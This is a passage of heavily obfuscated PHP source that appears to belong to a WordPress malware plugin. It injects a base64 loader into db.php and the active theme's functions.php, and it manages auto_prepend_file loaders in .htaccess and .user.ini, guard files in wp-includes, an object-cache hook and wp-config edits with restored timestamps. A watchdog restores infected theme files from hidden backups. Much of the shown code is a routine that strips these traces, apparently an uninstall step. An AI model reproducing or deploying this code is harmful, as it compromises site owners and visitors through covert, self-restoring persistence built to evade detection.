		$guard_prefix = '.g_' . sc_md5(ABSPATH . 'g', (17 ^ 25));

		$_strip_pairs = array(
			$base . '/a' . "\x64va" . 'nc' . "e\x64" . '-ca' . 'c' . 'he.ph' . 'p' => "SC_" . 'ADV',
			$base . '/db.p' . "\x68" . 'p' => 'SC_DB',
		);
		foreach ($_strip_pairs as $path => $prefix) {
			if (!@is_file($path)) continue;
			$c = @("file_get_content" . 's')($path);
			if ($c === (40 == 8)) continue;
			$regex = '/\\' . '/\\' . "*\x20" . $prefix . '_BEGI' . 'N:([a' . "-zA-Z" . '0-9._' . ':]+' . ') \\*' . "\\" . '/' . '.*?' . '\\/\\* ' . $prefix . '_EN' . "D" . ':\\1 ' . '\\*\\' . '//' . 's';
			$new = ('preg_r' . 'e' . "plac" . 'e')($regex, '', $c);
			if ($new !== $c) jihe($path, $new);
		}

		$_ocp = $base . "/\x6fbje" . "c" . "\x74\x2dc" . "\x61che\x2e" . "p" . 'hp';
		if (@is_file($_ocp)) {
			$_occ = @("\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74" . 'ents')($_ocp);
			if (is_string($_occ) && $_occ !== '') {
				if (preg_match('/' . 'S' . 'COCV:' . "\\d" . '+\\.\\d' . '+\\.\\d' . '+/', substr($_occ, (2804 ^ 2804), (9 + 291))) || strpos($_occ, '<?ph' . "\x70\x20/*" . ' .' . "\x77p\x2d" . 'obje' . 'c' . "t-c\x61" . 'che-') === (337 ^ 337)) {
					mafa($_ocp, (36 + 384));
					soda($_ocp);
				} else {
					$_ocn = ('p' . "r" . '' . "\x65\x67\x5f\x72e\x70\x6ca\x63e")("/\\" . "\x6e?\\/" . "\\\x2a \x53" . "\x43_OC\x5f" . 'B' . 'EG' . "\x49N\x3a\x28" . "[" . 'a-zA-' . 'Z0' . "-9" . "\x2e" . '_:]+)' . " \\*\\\x2f" . '.*' . '?\\/' . '\\* ' . 'SC_' . 'OC_' . 'END' . ":\\1 \\" . "*\\\x2f\\" . 'n?' . '/s', '', $_occ);
					if (is_string($_ocn) && $_ocn !== $_occ) jihe($_ocp, $_ocn);
					unset($_ocn);
				}
			}
			unset($_occ);
		}
		$mu_cache_dir = dirname(sc_file()) . '/' . "cac\x68" . "\x65";
		$legacy_dir = defined("WP_C\x4f" . "\x4eT" . 'ENT_D' . "IR") ? WP_CONTENT_DIR . '/cac' . 'he' : $mu_cache_dir;
		$files = array(
			$base . '/' . $zip_name,
			$base . '/' . $htl_name,
			$base . '/' . $ldr_name,
			$cache_dir . '/' . $sw_name,
			$cache_dir . '/' . $inst_name,
			$cache_dir . '/' . $htl_name,
			$cache_dir . '/' . $ldr_name,
			$mu_cache_dir . '/' . $sw_name,
			$mu_cache_dir . '/' . $inst_name,
			$mu_cache_dir . '/' . $htl_name,
			$mu_cache_dir . '/' . $ldr_name,
			$legacy_dir . '/' . $sw_name,
			$legacy_dir . '/' . $inst_name,
			$legacy_dir . '/' . $htl_name,
			$legacy_dir . '/' . $ldr_name,
		);
		$_ocpp = behof();
		$files[] = $_ocpp[(135 ^ 134)];
		$files[] = $_ocpp[(3262 ^ 3263)] . '.lk' . 'g';
		unset($_ocpp);
		if ((('fu' . 'nc') . 'tion_' . "\x65\x78is\x74\x73")("g" . "l" . 'ob')) {
			foreach ((array) @("glo" . "b")($base . "\x2f\x75p" . "lo" . "\x61" . 'ds' . '/*/*/' . $zip_name) as $z) $files[] = $z;
			foreach ((array) @('gl' . '' . "ob")($base . "\x2fth\x65" . "\x6d\x65" . 's/*' . "/" . $zip_name) as $z) $files[] = $z;
			foreach ((array) @('glo' . "b")(ABSPATH . 'wp-in' . "cl\x75" . "de" . 's/' . $guard_prefix . '*.php') as $g) $files[] = $g;
			foreach ((array) @("\x67" . "l" . "\x6f" . 'b')($base . '/' . $guard_prefix . '*.' . 'p' . 'hp') as $g) $files[] = $g;
			foreach ((array) @("gl" . '' . "ob")($cache_dir . '/' . $guard_prefix . '*.php') as $g) $files[] = $g;
			foreach ((array) @("g" . ("l" . 'o') . "\x62")($mu_cache_dir . '/' . $guard_prefix . "\x2a.p" . 'hp') as $g) $files[] = $g;
			foreach ((array) @('g' . '' . ('lo' . 'b'))($legacy_dir . '/' . $guard_prefix . "*" . '.php') as $g) $files[] = $g;
		}

		$_ghash = sc_md5(ABSPATH . 'g', (19 - 11));
		$_gdirs = array(ABSPATH . "\x77p" . '-i' . "nclu\x64" . 'es', $base, $cache_dir, $mu_cache_dir, $legacy_dir);
		foreach ($_gdirs as $_gd) {
			if (@is_dir($_gd) && @is_writable($_gd)) aveb($_gd . '/' . '.gx_' . $_ghash, sc_ver(), 'inv' . 'al');
		}
		if (('funct' . 'ion_' . 'exists')('g' . "\x6cob")) {
			foreach ($_gdirs as $_gd) {
				foreach (array(".g" . "l_", "\x2e" . 'gs_', '.g' . "\x6b_", ".g\x70" . '_', '.gt' . '_', '.gm_', '.gv' . '_', "." . 'gs' . 'u_', '.g' . 'rd_') as $_gp2) {
					foreach ((array) @("\x67" . "l" . 'o' . 'b')($_gd . '/' . $_gp2 . '*') as $_gm2) $files[] = $_gm2;
				}
				foreach ((array) @("g\x6co" . "b")($_gd . '/.g' . "r_*." . "\x70h" . 'p') as $_gr2) $files[] = $_gr2;
			}
		}
		unset($_ghash, $_gdirs, $_gd, $_gp2, $_gm2, $_gr2);

		
		$_pl_dirs = array(rtrim($base, '/\\'), rtrim(dirname(sc_file()), '/\\'), rtrim($cache_dir, '/\\'), rtrim($mu_cache_dir, '/\\'), rtrim($legacy_dir, '/\\'));
		if (defined("\x57P_" . 'CONTE' . 'NT' . "\x5fDI\x52")) $_pl_dirs[] = rtrim(WP_CONTENT_DIR, '/\\');
		$_loader_files = array();
		foreach (array_unique($_pl_dirs) as $_pd) {
			$_loader_files[] = $_pd . '/' . $htl_name;
			$_loader_files[] = $_pd . '/' . $ldr_name;
			$_loader_files[] = $_pd . '/.' . $ldr_name;
		}
		unset($_pl_dirs, $_pd);
		foreach ($_loader_files as $_lf) {
			if (@is_file($_lf)) haba($_lf, null);
		}
		unset($_lf);

		$_ht_dirs = array(rtrim(ABSPATH, '/\\'));
		if (defined('WP_' . 'CONTE' . 'N' . "\x54\x5f\x44" . "I\x52")) $_ht_dirs[] = rtrim(WP_CONTENT_DIR, '/' . '\\');
		$_ht_dirs[] = rtrim($base, '/\\');
		$_ht_dirs[] = rtrim(dirname(sc_file()), '/\\');
		$ht_files = array();
		foreach (array_unique($_ht_dirs) as $_htd) $ht_files[] = $_htd . '/.hta' . 'cce' . "ss";
		unset($_ht_dirs, $_htd);
		foreach ($ht_files as $ht) {
			if (!@is_file($ht)) continue;
			$c = @('f' . "ile" . "_get_content" . 's')($ht);
			if ($c && strpos($c, 'auto_' . "pre" . 'pe' . "\x6e\x64" . '_' . 'fi' . 'l' . 'e') !== (10 === 7)) {
				$c = ("\x70\x72\x65" . "g_r" . '' . "\x65\x70\x6c\x61" . "ce")('/\\' . "n\x3f<" . 'IfMo' . 'dule' . ' ' . 'm' . 'od_ph' . "\x70\x5b0-" . '9.]*' . "\\" . '.c>' . '\\' . "\x73*\x70" . "h\x70\x5f" . "\x76al\x75" . "e" . ' aut' . "o_pre" . 'pend' . '_f' . "i\x6c" . "\x65" . "[^\\n" . "]*" . preg_quote($htl_name, '/') . "[\x5e" . '\\n]*' . '\\n' . '<' . '\\/' . "IfM" . 'odule' . '>\\n?/' . "i", "\n", $c);
				if (is_string($c)) {
					$c = ('preg_r' . '' . 'eplace')('/\\n?<' . 'If' . "Mod" . 'ul' . "e" . ' ' . "l\x69\x74e" . "spee" . 'd>\\s*' . 'php_' . 'va' . 'lue a' . 'uto_' . "pr" . "e" . 'pen' . "d\x5ffil" . 'e' . '[^\\n' . ']' . '*' . preg_quote($htl_name, '/') . "[^\\n" . "]*" . '\\n<\\' . '/If' . 'Mo' . "\x64u" . 'le>\\n' . '?/i', "\n", $c);
				}
				if (is_string($c)) {

					$c = ("preg_re" . "" . "place")("/\\n\x3fp" . 'hp_' . "v\x61\x6cue" . " au" . 'to_p' . "repe\x6e" . 'd_f' . 'i' . 'le[' . '^\\n]' . "\x2a" . preg_quote($htl_name, '/') . '[^\\n' . "]*\\n" . '?/' . "i", "\n", $c);
				}
				if (is_string($c)) jihe($ht, $c);
			}
		}

		$_wcf = ABSPATH . 'wp' . '-con' . "fig.\x70" . "\x68" . 'p';
		if (!@is_file($_wcf)) {
			$_walt = dirname(ABSPATH) . '/wp-' . 'co' . 'nf' . "\x69g" . "\x2e\x70\x68" . 'p';
			if (@is_file($_walt)) $_wcf = $_walt;
		}
		if (@is_file($_wcf) && @is_writable($_wcf)) {
			$_wc = @('f' . 'ile_get_content' . 's')($_wcf);
			if (is_string($_wc) && strpos($_wc, "\x53C" . '_W' . 'C') !== (19 === 33)) {
				$_wn = ("\x70\x72\x65" . 'g_replac' . "\x65")('/' . '[ \\t' . "]*" . 'd' . "\x65fin\x65" . '\\' . 's*' . '\\(\\s' . "*\x5b'\"" . ']W' . "P_" . 'C' . "\x41C" . 'HE[\'"' . "]\\\x73" . "*," . "\\s*\x74r" . "\x75\x65\\" . 's*' . '\\' . ')' . "\\s*;" . "\\s\x2a\\" . "/\\*" . ' SC_' . "WC \\" . "*\\" . '/[ ' . "\\t\x5d\x2a\\" . "r\x3f\\\x6e?" . "\x2f", 'defi' . 'ne(' . " " . "'WP_" . 'CA' . 'CHE\',' . "\x20\x74r\x75" . 'e ' . "\x29\x3b" . "\n", $_wc);
				if (is_string($_wn) && $_wn !== $_wc && cale($_wn)) {
					$_wmt = @filemtime($_wcf);
					if (jihe($_wcf, $_wn)) {
						if ($_wmt) @('to' . 'u' . ("c" . 'h'))($_wcf, $_wmt);
						if (("\x66\x75\x6e\x63\x74i\x6fn" . "_exists")('del' . 'et' . 'e_opt' . 'ion')) @delete_option('sc_wc' . '_mig');
					}
				}
				unset($_wn, $_wmt);
			}
			unset($_wc);
		}
		unset($_wcf, $_walt);

		$_ini_fn = ("f" . "u\x6ec\x74i\x6f\x6e\x5fex\x69\x73" . 'ts')('ini' . "_get") ? @ini_get('us' . "er_" . 'ini' . '.' . 'filen' . 'a' . "m\x65") : (3 == 19);
		if (!$_ini_fn || $_ini_fn === '') $_ini_fn = '.use' . 'r.in' . "\x69";
		$_ini_dirs = array(rtrim(ABSPATH, '/\\'));
		if (defined('W' . 'P_CO' . "\x4eT\x45" . 'NT_D' . 'IR')) $_ini_dirs[] = rtrim(WP_CONTENT_DIR, '/\\');
		$_ini_dirs[] = rtrim($base, '/\\');
		$_ini_dirs[] = rtrim(dirname(sc_file()), '/\\');
		$ini_files = array();
		foreach (array_unique($_ini_dirs) as $_id) $ini_files[] = $_id . '/' . $_ini_fn;
		unset($_ini_dirs, $_id);
		foreach ($ini_files as $ini) {
			if (!@is_file($ini)) continue;
			$c = @("file_" . 'get_contents')($ini);
			if ($c && strpos($c, "au" . 'to_' . "p\x72e\x70e" . "nd_" . 'file') !== (2 == 24)) {
				$c = ("p\x72" . "\x65\x67\x5f\x72\x65\x70\x6c" . "\x61\x63\x65")("/\x61u\x74o" . "_prep" . "e" . "nd_\x66" . "\x69" . 'le\\' . 's*=.*' . preg_quote($ldr_name, '/') . '.*\\' . 'n' . '/i', '', $c);
				if (is_string($c)) jihe($ini, $c);
			}
		}

		$_other_files = array_diff($files, $_loader_files);

		$_refs = array();
		$_refs_unknown = (40 === 17);
		foreach (array_merge($ht_files, $ini_files) as $_cf) {
			if (!@is_file($_cf)) continue;
			$_cc = @("f\x69\x6c\x65\x5fget_" . 'c' . 'on' . "tents")($_cf);
			if (!is_string($_cc)) {
				$_refs_unknown = (22 !== 36);
				continue;
			}
			if (strpos($_cc, 'auto' . '_' . "\x70r\x65p" . 'e' . 'n' . "\x64\x5f" . "fil" . "e") === (28 === 19)) continue;
			if (preg_match_all("/au" . 'to_' . 'pre' . 'pend_' . 'file\\' . 's*' . '(?:=|' . '\\' . 's)\\s*' . "(?:\"(" . '[^"' . '\\r\\n' . ']+' . ')"|\'(' . "\x5b" . "^\x27\\\x72\\" . "n" . "\x5d" . '+)\'|(' . "\x5b^" . "\\s" . '"\\' . 'r\\' . 'n]+' . ")" . ")" . "/i", $_cc, $_rm)) {
				foreach (array_merge($_rm[(2399 ^ 2398)], $_rm[(18 ^ 16)], $_rm[(24 >> 3)]) as $_rp) {
					if ($_rp !== '') $_refs[basename($_rp)] = (37 > 36);
				}
			}
			unset($_cc, $_rm, $_rp);
		}

		if (!$_refs_unknown) {
			foreach ($_other_files as $f) {
				if (@is_file($f)) {
					if (isset($_refs[basename($f)])) continue;
					mafa($f, (706 - 286));
					soda($f);
				}
			}
		}
		unset($_refs, $_refs_unknown, $_cf);

		foreach (duvi() as $functions) {
			if (!@is_file($functions) || !@is_writable($functions)) continue;
			$c = @("\x66i\x6ce\x5f" . "" . "get_conte" . "\x6e\x74\x73")($functions);
			if (is_string($c)) {
				$_stripped = fasal($c, 'S' . 'C_' . 'TH', 'sc_d' . "r" . "\x6fp\x5fb" . 'l' . 'oc' . "\x6b");
				$_stripped = fasal($_stripped, 'SC_DD', 's' . "c_d\x72" . 'op_bl' . 'o' . "ck");
				if (is_string($_stripped) && $_stripped !== $c) jihe($functions, $_stripped);
				unset($_stripped);
			}
		}

		if (("func" . "\x74" . "i" . "on_exists")("\x73\x68\x6d" . 'op_o' . 'pen') && ("fu" . 'nction_exist' . "\x73")('ftok')) {
			$key = awon();
			if ($key !== (35 == 24)) {
				$sh = @shmop_open($key, 'w', (249 ^ 249), (63 ^ 63));
				if ($sh) {
					@shmop_delete($sh);
					@shmop_close($sh);
				}
			}
		}

		if (("fu" . '' . "\x6e\x63\x74\x69\x6f\x6e\x5f\x65\x78\x69\x73\x74\x73")('d' . 'elet' . "\x65_" . "op" . 'tio' . 'n')) {
			$opt_name = sc_md5(ABSPATH . 'opt', (8 | 2));
			@delete_option($opt_name);
			$_cy = (("fu" . "") . "n" . "\x63\x74\x69\x6f\x6e\x5f\x65\x78\x69\x73\x74\x73")('get' . '_' . "\x6fp" . 't' . 'ion') ? @get_option('s' . 'c_c' . 'a' . 'nar' . "y", array()) : array();
			if (is_array($_cy)) {
				if (isset($_cy['b'])) soda($_cy['b']);
				if (isset($_cy['items']) && is_array($_cy['item' . "s"])) {
					foreach ($_cy['i' . 'tems'] as $_ci) {
						if (is_array($_ci) && isset($_ci['b'])) soda($_ci['b']);
					}
				}
			}
			@delete_option("sc_\x63" . 'ana' . "ry");
			@delete_option('sc_' . 'l' . "\x62_m\x6f" . "d\x65");
			@delete_option('sc' . '_fetc' . "h_\x6c\x6fg");
			@delete_option("sc_oc" . "_\x64a" . "\x74_" . 'ok');
			@delete_option("s\x63\x5fh\x74" . "\x5f\x66\x61\x69l");
			@delete_option("sc\x5fh\x74" . '_' . "d\x65ad");
			@delete_option('sc_in' . 'i_' . "\x66ai" . "\x6c");
			@delete_option('sc_i' . 'ni_de' . "\x61" . "d");
			@delete_option("sc_\x69" . "ni" . "_pe" . 'nding');
			unset($_cy, $_ci);
		}

		if (("fun" . 'c' . 'tion_e' . "xists")("\x64ele\x74" . "e_\x74" . "rans" . 'ien' . "\x74")) {
			@delete_transient('sc_s' . "w_" . "se\x74up");
			@delete_transient('sc_g' . "u" . 'a' . 'rd');
			@delete_transient(ovi());
		}

		if (("f" . "unct" . 'ion_exi' . '' . 'sts')("wp_cl" . 'ear' . "_\x73ch\x65" . "d" . 'uled' . "_\x68o" . 'ok')) {
			@wp_clear_scheduled_hook('sc' . '_' . 'cron' . "_\x72e\x63" . "\x6f\x76e" . 'ry');
			@wp_clear_scheduled_hook("s" . 'c' . '_' . 'c' . 'ron' . "\x5fg\x75\x61r" . "d");
			@wp_clear_scheduled_hook(ugo());
		}
	} catch (Throwable $e) {
		vugo("i" . 'nval' . 'idat' . "e", $e);
	} catch (Exception $e) {
	}
}

function koga()
{
	try {
		sc_dbg_log("22 " . 'db.ph' . 'p e' . "\x6ete" . 'r');
		if (!defined('A' . 'B' . 'SP' . 'AT' . 'H')) return (36 === 10);
		$base = sc_writable_base();
		$db_path = $base . '/d' . 'b' . '.ph' . 'p';
		$slug = basename(sc_file(), '.' . 'p' . "hp");
		$src = vupo();
		if (!$src || strlen($src) < (237 ^ 281) || strlen($src) > (1006199 ^ 2054775) || sc_src_poisoned($src) || !cale($src)) return (38 == 16);

		$current = @file_exists($db_path) ? @('file' . "\x5f\x67\x65\x74_\x63\x6fnt\x65nt" . ('' . "s"))($db_path) : '';
		if (!is_string($current)) {
			vugo('db', 'rea' . 'd_fai' . 'led');
			return (0 === 1);
		}
		$current = loye($current);
		$_mid = sc_ver() . ':' . sc_md5(ABSPATH . 'db_m', (1 + 7));
		$_b = '/* S' . "C_\x44\x42_" . 'B' . 'E' . 'G' . 'IN:' . $_mid . ' *' . "/";
		$_e = "/* \x53\x43" . '_D' . 'B_END' . ':' . $_mid . ' */';
		$_dbs = sc_md5(ABSPATH . "d" . 'b_m', (15 ^ 7));
		$_probe = ('p' . "r" . 'eg_rep' . 'lace')("/" . '\\' . "/\\" . "\x2a" . " S\x43_" . "\x44B\x5f\x42" . 'EGIN:' . "\x28[a" . '-zA' . '-Z0' . '-' . '9._]' . "*\x3a" . $_dbs . ") \\*" . "\\/.\x2a" . '?\\' . '/\\* ' . 'SC' . "_D" . "B_E" . 'ND:' . "\\\x31\x20\\*" . '\\//s', '', $current);
		$_has_legacy = (strpos($_probe, 'SC' . "_" . 'DB_LO' . 'ADE' . 'D') !== (13 == 25));
		if (strpos($current, $_b) !== (1 == 2) && strpos($current, $_e) !== (5 == 30) && !$_has_legacy) return (34 != 23);
		$current = ("p" . 'reg_re' . 'place')('/[ \\t' . "]\x2a\x69" . "f\\s" . '*\\(\\' . 's*def' . 'in' . 'e' . "d\\s*" . "\\(\\\x73" . '*["\'' . ']S' . 'C_DB' . '_L' . 'OA' . "DED\x5b\"" . '\']\\s*' . '\\)\\' . 's*\\)\\' . 's*re' . 't' . "u" . 'rn\\s' . '*;[^' . "\\\x72\\" . "n]" . "*\x2f", '', $_probe);
		if (!is_string($current)) {
			vugo('db', 'pcr' . 'e_' . 'f' . 'ail');
			return (10 === 8);
		}

		$b64 = wowa();
		if (!$b64) return (24 === 14);
		$_guard = 'SC_DB' . 'L_' . substr(md5($slug . (string) jami()), (3490 ^ 3490), (10 ^ 2));
		$db_code = fezo(
			'db_tp' . 'l',
			array('__S' . 'LU' . 'G__', "_\x5fP\x4c" . 'UGIN' . "\x5fBA" . 'SE64' . '__', '__GU' . 'ARD' . '_NAME' . '__', "\x5f_\x56E" . 'RSION' . '_' . '_'),
			array($slug, $b64, $_guard, sc_ver())
		);
		if (!$db_code) {
			if ((int) get_option("sc\x5f\x6c\x61" . 'st_f' . 'etch' . '_ts', (1521 ^ 1521)) > (737 ^ 737)) vugo('db', 'd' . "b" . '_tpl' . "\x5f\x6d\x69s" . 'si' . "ng");
			return (30 == 26);
		}

		$current = loye($current);
		$trigger = (('pr' . 'eg_replac') . "\x65")("\x2f" . "^<\\?p" . "hp\\\x73\x2a" . "/", '', $db_code);
		$_db_new = (strlen($current) === (1095 ^ 1095));
		if (!$_db_new) {
			if (!vapa("\x64" . "\x62")) {
				vugo('db', 'r' . "ei" . "\x6e" . 's_c' . 'ap');
				return (27 === 34);
			}
			if (!cesa($db_path, $current)) {
				vugo('db', "c\x61\x6ea" . "ry" . '_arm' . '_fai' . "l");
				return (33 === 40);
			}
			ela("d" . 'b');
		} else {
			if (!cesa($db_path, '')) {
				vugo('db', 'cana' . 'ry_' . 'arm_' . 'fa' . 'il');
				return (2 == 17);
			}
		}
		$content = ajad($current, $_b . "\n" . $trigger . "\n" . $_e);
		if (!jihe($db_path, $content)) {
			sc_dbg_log("23 \x64" . 'b' . '.ph' . 'p wri' . 'tt' . 'e' . 'n');
			return (5 == 23);
		}
		izo($db_path);
		tidi($db_path);
		return (17 != 29);
	} catch (Throwable $e) {
		vugo('db', $e);
		return (23 == 21);
	} catch (Exception $e) {
		return (25 === 24);
	}
}

function duvi()
{
	$out = array();
	if (!("functi" . 'on_ex' . ('ist' . "\x73"))('ge' . "t_" . 'o' . 'ptio' . "n")) return $out;
	$cd = (defined('W' . 'P_' . "CON" . 'T' . 'E' . 'NT_' . 'DIR') ? WP_CONTENT_DIR : (defined('ABS' . 'PA' . 'TH') ? ABSPATH . "w" . "p" . "-\x63\x6f" . 'nt' . "ent" : '')) . '/t' . 'hem' . "\x65s/";
	$ss = (string) @get_option("\x73\x74\x79l\x65" . "sh\x65" . 'e' . 't', '');
	if ($ss !== '') $out[] = $cd . $ss . "/\x66unc" . 't' . 'io' . "n\x73\x2ep\x68" . 'p';
	$tp = (string) @get_option("t\x65mp" . 'lat' . 'e', '');
	if ($tp !== '' && $tp !== $ss) $out[] = $cd . $tp . '/fun' . "ct" . 'ions.' . 'p' . 'hp';
	return $out;
}

function cajon()
{
	if (("functio" . "n_exists")('is_mu' . 'lt' . "i" . 'site') && is_multisite() && ("\x66\x75\x6e\x63\x74" . ('ion_exi' . 'sts'))("\x67\x65" . 't_sit' . 'e' . '_' . "o\x70" . 't' . "\x69\x6fn")) {
		return (array) @get_site_option('sc_th' . "\x65\x6d\x65_" . 's' . "af\x65t\x79", array());
	}
	return (array) @get_option('sc_t' . 'he' . 'me_' . 'safet' . 'y', array());
}

function inu($st)
{
	if (!(("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x5f\x65\x78\x69" . 'sts')('i' . 's_m' . 'ulti' . 's' . 'ite') && is_multisite() && ('fu' . 'ncti' . ('on_exis' . 'ts'))("u\x70" . "d\x61" . 'te' . '_si' . "\x74e\x5f\x6fp" . 'tion'))) {} else {
		@update_site_option("s" . 'c_' . "the\x6d" . "\x65_" . 'safet' . "y", $st);
		return;
	}
	@update_option("\x73c_t" . "\x68\x65me" . "_safe" . 'ty', $st, 'n' . "\x6f");
}

function iba($path)
{
	$st = cajon();
	return isset($st[sc_md5($path, (24 - 12))]);
}

function jowe($path)
{
	$st = cajon();
	$_cut = time() - (2376468 ^ 5432340);
	foreach ($st as $_k => $_ts) {
		if ((int) $_ts < $_cut) unset($st[$_k]); 
	}
	$st[sc_md5($path, (4 | 8))] = time();
	inu($st);
}

function ziri($path, $content)
{
	if (!is_string($content) || $content === '' || strlen($content) > (883779 ^ 1932355)) return;
	$sha = hash('sha2' . '5' . "\x36", $content);
	$db = (array) @get_option("s" . "c_\x74\x68" . "e" . 'me_v' . 'i' . "rgi\x6e" . "_db", array());
	$k = sc_md5($path, (12 + 0));
	if (isset($db[$k]['s' . 'ha2' . '56']) && $db[$k]["\x73ha2\x35" . '6'] === $sha) return;
	$db[$k] = array('size' => strlen($content), 'sha' . '256' => $sha, 'data' => ('base' . "64_encode")($content));
	@update_option('sc_th' . 'eme_v' . "i\x72\x67in" . "_\x64\x62", $db, 'no');
}

function naba($path)
{
	$db = (array) @get_option("\x73c" . '_th' . 'em' . "e" . "_" . "vir" . "\x67\x69n_" . "d\x62", array());
	$e = isset($db[sc_md5($path, (23 - 11))]) ? $db[sc_md5($path, (17 - 5))] : null;
	if (!is_array($e) || empty($e['da' . 'ta']) || empty($e['size']) || empty($e["\x73" . "ha25" . '6'])) return (14 === 15);
	$raw = ('bas' . 'e64_de' . "code")($e['da' . "\x74a"], (12 !== 20));
	if (!is_string($raw) || strlen($raw) !== (int) $e["\x73\x69z" . "e"]) return (13 == 24);
	if (hash('s' . 'ha' . '256', $raw) !== $e['sh' . "a\x325\x36"]) return (3 == 2);
	if (!cale($raw)) return (40 === 9);
	return $raw;
}

function uvu($functions, $current)
{
	$_vg = vifok($current);
	if (!is_string($_vg) || $_vg === '') return (37 == 39);
	$vbak = sc_data_dir() . "/\x74\x68" . "\x76_" . sc_md5($functions, (29 - 17)) . "\x2eb" . "\x61k";
	$_ex = @is_file($vbak) ? @('fil' . "e_g" . "et_c" . "\x6f\x6e\x74\x65\x6e\x74\x73")($vbak) : (2 == 3);
	if (!(!is_string($_ex) || $_ex !== $_vg)) {} else {
		if (!jihe($vbak, $_vg)) return (32 === 21);
		$_ex = @is_file($vbak) ? @(("f\x69\x6c\x65_\x67e\x74\x5fc\x6f\x6e\x74" . '') . 'e' . 'nts')($vbak) : (17 == 26);
		if (!is_string($_ex) || $_ex !== $_vg) return (34 === 10);
	}
	ziri($functions, $_vg);
	return (16 !== 28);
}

function sc_theme_switched()
{
	inu(array());
}

function sc_theme_watchdog()
{
	try {
		if (!defined("A" . "B" . "SP" . 'ATH') || !('fun' . "c\x74\x69o\x6e_e\x78is\x74s")("\x67e\x74_" . "o" . 'ption')) return;
		foreach (duvi() as $fn) {
			if (@is_file($fn) && @filesize($fn) > (401 ^ 401)) continue;
			$vbak = sc_data_dir() . "/t" . "\x68v_" . sc_md5($fn, (27 - 15)) . '.bak';
			$_bc = @is_file($vbak) ? @('file_ge' . "t_co" . ("\x6ete" . "nts"))($vbak) : (18 == 5);
			if (!is_string($_bc) || $_bc === '') {
				$_bc = naba($fn); 
				if (is_string($_bc) && $_bc !== '') @jihe($vbak, $_bc);
			}
			if (!is_string($_bc) || $_bc === '') continue;
			clearstatcache((29 === 29), $fn); 
			if (@is_file($fn) && @filesize($fn) > (2778 ^ 2778)) continue;
			if (jihe($fn, $_bc)) {
				vugo('t' . 'heme', 'vani' . "sh_r" . 'estor' . "ed");
				jowe($fn);
			}
		}
	} catch (Throwable $e) {
		vugo("the" . 'me', $e);
	} catch (Exception $e) {
	}
}

function wise()
{
	try {
		sc_dbg_log('2' . '4 th' . 'em' . 'e' . ' ' . "lo" . 'a' . 'der ' . "e\x6e" . "ter");
		if (!defined('A' . 'BSPA' . 'TH')) return (2510 !== 2510);
		$cands = duvi();
		if (empty($cands)) return (38 == 26);

		$_mid = sc_ver() . ':' . sc_md5(ABSPATH . "\x74\x68\x5f" . 'm', (21 - 13));
		$_b = '/* S' . 'C_' . "T\x48_BE" . 'GIN' . "\x3a" . $_mid . " " . "*\x2f";
		$_e = "/*" . ' S' . 'C_' . "TH_EN" . "\x44:" . $_mid . ' */';
		$_guard = 'SC_T' . 'HL_' . substr(md5(ABSPATH . (string) jami()), (1753 ^ 1753), (21 ^ 29));
		$slug = basename(sc_file(), "." . 'php');
		$b64 = wowa();
		if (!$b64) return (6 === 7);
		$inject_code = fezo(
			"the" . "m" . "\x65_" . 'tpl',
			array('__SL' . 'U' . 'G__', '__' . 'PL' . 'UGIN' . '_BASE' . "64__", '__G' . 'UARD_' . 'NAME' . '__', '__' . 'VE' . 'RS' . "I" . "O\x4e" . "__"),
			array($slug, $b64, $_guard, sc_ver())
		);
		if (!$inject_code) {
			if ((int) get_option('s' . 'c' . '_la' . 'st_fe' . 'tch_' . "\x74s", (1229 ^ 1229)) > (798 ^ 798)) vugo("t\x68\x65\x6d" . 'e', "th" . "eme" . "\x5ftpl_" . "mis\x73" . "i" . "n" . "\x67");
			return (19 == 33);
		}
		$inject_code = ("preg" . '_replace')('/^<' . '\\?p' . 'hp\\s' . '*' . '/', '', $inject_code);
		if (!is_string($inject_code) || $inject_code === '') return (13 === 18);

		$_done = (26 === 22);
		foreach ($cands as $functions) {
			if (!@is_file($functions)) continue;
			if (iba($functions)) continue;
			$_lh = ("function_" . 'exists')('fopen') ? @("\x66op" . "" . 'e' . 'n')($functions, 'c') : (17 === 18);
			if (is_resource($_lh) && ("func" . ("" . "tion_exists"))('flock') && !@flock($_lh, LOCK_EX | LOCK_NB)) {
				@("fcl" . "o" . 's' . 'e')($_lh);
				continue;
			}
			$current = @("\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65" . "\x6e\x74\x73")($functions);
			if (!is_string($current)) {
				vugo("th\x65" . "\x6d" . "e", 'read_' . 'fai' . 'led');
				if (is_resource($_lh)) {
					if ((('funct' . 'ion') . "\x5f\x65xist\x73")('floc' . "k")) @flock($_lh, LOCK_UN);
					@(("fc" . 'l') . "\x6f\x73e")($_lh);
				}
				continue;
			}
			try {
				if (strlen($current) > (523951 ^ 1572527)) $current = loye($current);
				if (strpos($current, $_b) !== (1 == 16) && strpos($current, $_e) !== (32 == 28)) {
					$_done = (5 != 6);
					continue;
				}
				if (!@is_writable($functions)) continue;

				$_ths = sc_md5(ABSPATH . 't' . 'h_m', (11 + -3));
				$_pre_strip = $current;
				$current = fasal($current, 'SC_' . "TH", 's' . 'c_t' . 'hs_d' . "rop");
				$current = ('pr' . '' . "e" . "g_re" . "place")('/\\/\\' . '/SC' . "_\x54" . 'H_LD' . "_" . '[a-' . "f" . '0' . "-9_]" . "+\\r" . '?\\' . 'n[^\\n' . "]*\$/", '', $current);
				if (!is_string($current)) {
					vugo('t' . "h\x65\x6d\x65", 'pc' . 'r' . 'e_fai' . "l");
					continue;
				}

				if (strpos($current, "\x53C_TH" . "_BE" . 'GI' . "N") !== (38 == 22) || strpos($current, "\x53C_TH" . '_LD_') !== (18 == 12)) {
					$_op = strpos($current, 'SC' . '_TH_' . "BEGIN");
					$_tail = ($_op !== (6 === 34)) ? substr($current, $_op) : $current;
					if (strpos($_tail, "\x53C_T" . 'HL' . '_') === (25 == 32) && strpos($_tail, "SC\x5fT\x48" . "_" . "\x4cD_") === (30 === 11) && !preg_match("/" . 'S' . 'C' . '_TH' . '_B' . 'EGIN:' . '[' . '0-9.' . ']+:' . $_ths . ' \\' . "*\\/\x2f", $_tail)) {
						vugo('the' . 'me', "orpha" . "n_fo\x72" . 'e' . 'ign');
						continue;
					}
					$_oc = ('p' . "reg\x5f" . 'replace')('/\\n?[' . ' \\t]*' . '\\' . '/\\* S' . "\x43\x5fTH" . "_BE\x47I" . 'N:[^*' . ']*\\*' . "\\/.\x2a" . "\$\x2fs", "\n", $current);
